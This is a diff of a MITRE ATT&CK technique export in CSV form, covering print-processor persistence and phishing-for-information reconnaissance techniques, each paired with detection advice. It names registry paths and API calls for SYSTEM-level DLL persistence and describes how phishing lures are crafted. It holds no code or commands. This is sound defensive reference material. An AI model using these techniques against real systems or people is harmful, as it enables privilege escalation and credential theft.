defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. +Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.","['persistence', 'privilege-escalation']",https://attack.mitre.org/techniques/T1547/012,mitre-attack,T1547.012,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Mathieu Tartare, ESET']","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load']",,"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. -Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.","['File: File Creation', 'Process: OS API Execution', 'Module: Module Load', 'Windows Registry: Windows Registry Key Modification', 'Driver: Driver Load']","['Mathieu Tartare, ESET']",,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1598.003', 'url': 'https://attack.mitre.org/techniques/T1598/003'}, {'source_name': 'TrendMictro Phishing', 'url': 'https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html', 'description': ""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.""}, {'source_name': 'PCMag FakeLogin', 'url': 'https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages', 'description': 'Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.'}, {'source_name': 'Microsoft Anti Spoofing', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.'}, {'source_name': 'ACSC Email Spoofing', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.1,True,https://attack.mitre.org/techniques/T1598/003,mitre-attack,T1598.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing Link,"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. +Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",True,"['Administrator', 'SYSTEM']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598/003', 'external_id': 'T1598.003'}, {'source_name': 'TrendMictro Phishing', 'description': ""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."", 'url': 'https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html'}, {'source_name': 'PCMag FakeLogin', 'description': 'Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.', 'url': 'https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",1.1,attack-pattern,attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:09:50.723Z,2021-04-15T03:42:26.537Z,Spearphishing Link,"Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230,attack-pattern,['reconnaissance'],2021-04-15T03:42:26.537Z,2020-10-02T17:09:50.723Z,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",['reconnaissance'],https://attack.mitre.org/techniques/T1598/003,mitre-attack,T1598.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) -Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']",,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1598.002', 'url': 'https://attack.mitre.org/techniques/T1598/002'}, {'source_name': 'Sophos Attachment', 'url': 'https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/', 'description': 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.'}, {'source_name': 'GitHub Phishery', 'url': 'https://github.com/ryhanson/phishery', 'description': 'Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.'}, {'source_name': 'Microsoft Anti Spoofing', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.'}, {'source_name': 'ACSC Email Spoofing', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.1,True,https://attack.mitre.org/techniques/T1598/002,mitre-attack,T1598.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing Attachment,"Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. +Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598/002', 'external_id': 'T1598.002'}, {'source_name': 'Sophos Attachment', 'description': 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.', 'url': 'https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/'}, {'source_name': 'GitHub Phishery', 'description': 'Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.', 'url': 'https://github.com/ryhanson/phishery'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",1.1,attack-pattern,attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:08:57.386Z,2021-04-15T03:41:33.335Z,Spearphishing Attachment,"Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc,attack-pattern,['reconnaissance'],2021-04-15T03:41:33.335Z,2020-10-02T17:08:57.386Z,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']",,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1598.001', 'url': 'https://attack.mitre.org/techniques/T1598/001'}, {'source_name': 'ThreatPost Social Media Phishing', 'url': 'https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/', 'description': ""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.""}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1598/001,mitre-attack,T1598.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Spearphishing Service,"Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",['reconnaissance'],https://attack.mitre.org/techniques/T1598/002,mitre-attack,T1598.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598/001', 'external_id': 'T1598.001'}, {'source_name': 'ThreatPost Social Media Phishing', 'description': ""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."", 'url': 'https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/'}]",1.0,attack-pattern,attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:08:07.742Z,2021-04-15T03:43:12.843Z,Spearphishing Service,"Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6,attack-pattern,['reconnaissance'],2021-04-15T03:43:12.843Z,2020-10-02T17:08:07.742Z,"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",['reconnaissance'],https://attack.mitre.org/techniques/T1598/001,mitre-attack,T1598.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']","['Robert Simmons, @MalwareUtkonos']",,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1598', 'url': 'https://attack.mitre.org/techniques/T1598'}, {'source_name': 'ThreatPost Social Media Phishing', 'url': 'https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/', 'description': ""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.""}, {'source_name': 'TrendMictro Phishing', 'url': 'https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html', 'description': ""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.""}, {'source_name': 'PCMag FakeLogin', 'url': 'https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages', 'description': 'Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.'}, {'source_name': 'Sophos Attachment', 'url': 'https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/', 'description': 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.'}, {'source_name': 'GitHub Phishery', 'url': 'https://github.com/ryhanson/phishery', 'description': 'Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.'}, {'source_name': 'Microsoft Anti Spoofing', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.'}, {'source_name': 'ACSC Email Spoofing', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.1,False,https://attack.mitre.org/techniques/T1598,mitre-attack,T1598,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Phishing for Information,"Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1598', 'external_id': 'T1598'}, {'source_name': 'ThreatPost Social Media Phishing', 'description': ""O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."", 'url': 'https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/'}, {'source_name': 'TrendMictro Phishing', 'description': ""Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."", 'url': 'https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html'}, {'source_name': 'PCMag FakeLogin', 'description': 'Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.', 'url': 'https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages'}, {'source_name': 'Sophos Attachment', 'description': 'Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.', 'url': 'https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/'}, {'source_name': 'GitHub Phishery', 'description': 'Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.', 'url': 'https://github.com/ryhanson/phishery'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",1.1,attack-pattern,attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:07:01.502Z,2021-04-15T03:43:13.134Z,Phishing for Information,"Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. -Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.",attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a,attack-pattern,['reconnaissance'],2021-04-15T03:43:13.134Z,2020-10-02T17:07:01.502Z,"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) +Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.",['reconnaissance'],https://attack.mitre.org/techniques/T1598,mitre-attack,T1598,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. -Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']","['Philip Winther', 'Sebastian Salla, McAfee', 'Robert Simmons, @MalwareUtkonos']",,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1597.002', 'url': 'https://attack.mitre.org/techniques/T1597/002'}, {'source_name': 'ZDNET Selling Data', 'url': 'https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/', 'description': 'Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]",1.0,True,https://attack.mitre.org/techniques/T1597/002,mitre-attack,T1597.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Purchase Technical Data,"Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. +Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).",False,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1597/002', 'external_id': 'T1597.002'}, {'source_name': 'ZDNET Selling Data', 'description': 'Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.', 'url': 'https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/'}]",1.0,attack-pattern,attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:05:43.562Z,2021-04-15T03:44:43.900Z,Purchase Technical Data,"Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. -Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f,attack-pattern,['reconnaissance'],2021-04-15T03:44:43.900Z,2020-10-02T17:05:43.562Z,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid 